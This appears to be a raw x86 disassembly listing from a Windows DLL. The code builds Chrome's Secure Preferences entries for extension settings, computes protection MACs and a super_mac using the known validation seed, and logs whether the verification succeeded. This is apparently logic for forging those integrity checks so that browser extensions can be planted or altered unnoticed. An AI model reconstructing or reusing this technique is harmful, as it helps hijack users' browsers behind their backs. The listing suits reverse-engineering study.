lea ecx, [ebp - 0x78]
call fcn.1000ffd2
push str.u003C
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x4b
call fcn.10001c43
push 0x10145f24
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x4c
call fcn.10001c43
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x4d
push eax
lea edx, [ebp - 0x1f4]
lea ecx, [ebp - 0x78]
call fcn.10021e85
pop ecx
lea ecx, [ebp - 0x1f4]
call fcn.10002013
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x4b
call fcn.10002013
mov ecx, esi
call fcn.1000136a
mov ecx, 0x1000
test word [esi + 0xe], cx
mov ecx, esi
jne 0x1001bc80
mov ecx, dword [esi + 8]
push eax
push ecx
lea ecx, [ebp - 0x150]
call fcn.100019ae
push edi
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x4e
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
push esi
mov ecx, eax
call fcn.100035f8
mov edx, eax
lea ecx, [ebp - 0x224]
call fcn.1000ffd2
mov edi, eax
push str.extensions.settings.
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x20c]
call fcn.100235f8
pop ecx
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x50
push ecx
mov ecx, eax
call fcn.10012d2a
push eax
lea ecx, [ebp - 0x1f4]
call fcn.10001c7a
push edi
lea eax, [ebp - 0x1f4]
mov byte [ebp - 4], 0x51
push eax
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x120]
call fcn.10023649
lea ecx, [ebp - 0x1f4]
call fcn.10002013
lea ecx, [ebp - 0x20c]
call fcn.10002013
lea ecx, [ebp - 0x224]
call fcn.10002013
xor eax, eax
mov dword [ebp - 0xd8], eax
push 0xf
pop ecx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov byte [ebp - 0xd8], al
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov byte [ebp - 0x90], al
lea eax, [ebp - 0xd8]
mov byte [ebp - 4], 0x59
push eax
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], 0x26
push eax
mov edx, str.ChromeRegistryHashStoreValidationSeed
lea ecx, [ebp - 0x120]
call fcn.10029a23
mov edi, dword [ebp - 0x1d4]
pop ecx
pop ecx
mov ecx, edi
call fcn.1002d65a
mov dword [ebp - 0x1c4], eax
mov ecx, edi
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x1c4]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.10029a23
movsx edx, byte [edi + 0x1360]
lea eax, [ebp - 0x150]
push eax
add edx, 0x10143718
lea ecx, [ebp - 0x20c]
call fcn.10013dbd
add esp, 0xc
mov edx, eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0xc0]
call fcn.1000e6f0
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x5c
call fcn.10002013
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x1c4], 1
push eax
lea edx, [ebp - 0x1c4]
lea ecx, [ebp - 0xc0]
call fcn.1001605e
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
pop ecx
push dword [ebp - 0x50]
cmovae eax, dword [ebp - 0x90]
lea ecx, [esi + 0x10]
push eax
call fcn.10001744
lea ecx, [ebp - 0xc0]
call fcn.10002013
lea ecx, [ebp - 0x90]
call fcn.10002013
lea ecx, [ebp - 0xd8]
call fcn.10002013
lea ecx, [ebp - 0x120]
call fcn.10002013
lea ecx, [ebp - 0x150]
call fcn.10002013
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 6
call fcn.10002013
push str.protection
lea ecx, [ebp - 0x60]
add esi, 0x20
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
mov edi, str.extensions
push edi
mov ecx, eax
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
mov ecx, dword [eax]
shl ecx, 5
add ecx, dword [eax + 8]
cmp esi, ecx
jne 0x1001bb0c
mov esi, dword [ebp - 0x1d4]
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
mov edx, eax
lea ecx, [ebp - 0x20c]
call fcn.1000ffd2
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x108]
cmp dword [ebp - 0xf4], 0x10
push dword [ebp - 0xf8]
cmovae ecx, dword [ebp - 0x108]
push ecx
push 0
mov ecx, eax
call fcn.10021dbf
push eax
lea ecx, [ebp - 0x1c0]
call fcn.10001c7a
lea ecx, [ebp - 0x20c]
call fcn.10002013
xor eax, eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], al
mov ecx, esi
mov byte [ebp - 4], 0x61
call fcn.1002d65a
mov dword [ebp - 0x1c4], eax
mov ecx, esi
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x1c4]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0x1c0]
call fcn.10029a23
pop ecx
pop ecx
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.super_mac
mov ecx, eax
call fcn.1000327b
cmp dword [ebp - 0x154], 0x10
lea ecx, [ebp - 0x168]
push dword [ebp - 0x50]
cmovae ecx, dword [ebp - 0x168]
push ecx
mov ecx, eax
call fcn.10001744
lea ecx, [ebp - 0x168]
call fcn.10002013
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 6
call fcn.10002013
lea edi, [esi + 0x1bdc]
jmp 0x1001c025
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x20c]
mov dword [eax], str.Secure_Preferences_verify__.
mov dword [eax + 4], 0x1e
call fcn.1001e9a9
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 8
call fcn.10013c14
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 6
call fcn.10002013
lea edx, [ebp - 0x60]
mov dword [ebp - 0x1c4], 0x32
lea ecx, [ebp - 0x20c]
call fcn.1000ffd2
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 0x62
push ecx
mov edx, eax
mov ecx, edi
call fcn.10010496
pop ecx
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x1cd], al
mov byte [ebp - 4], 6
call fcn.10002013
cmp byte [ebp - 0x1cd], 0
lea edx, [ebp - 0x1c4]
mov eax, str.Failed
mov ecx, str.Success
cmove ecx, eax
push ecx
push ecx
mov eax, esp
mov dword [ebp - 0x1c4], ecx
lea ecx, [ebp - 0x20c]
mov dword [eax], str.Result__.
mov dword [eax + 4], 0xb
call fcn.10003080
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x63
call fcn.10013c14
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 6
call fcn.10002013
lea ecx, [ebp - 0x1a8]
call fcn.10013afb
lea eax, [ebp - 0x1a8]
push eax
lea ecx, [esi + 0x24]
call fcn.100139cb
lea ecx, [ebp - 0x108]
call fcn.10002013
lea ecx, [ebp - 0x180]
call fcn.10002013
lea ecx, [ebp - 0x60]
call fcn.1001058f
lea ecx, [ebp - 0x1a8]
call fcn.10014715
push dword [ebp - 0x1dc]
call fcn.1004f2b0
mov al, byte [ebp - 0x1cd]
pop ecx
call fcn.100c7e24
ret 0xc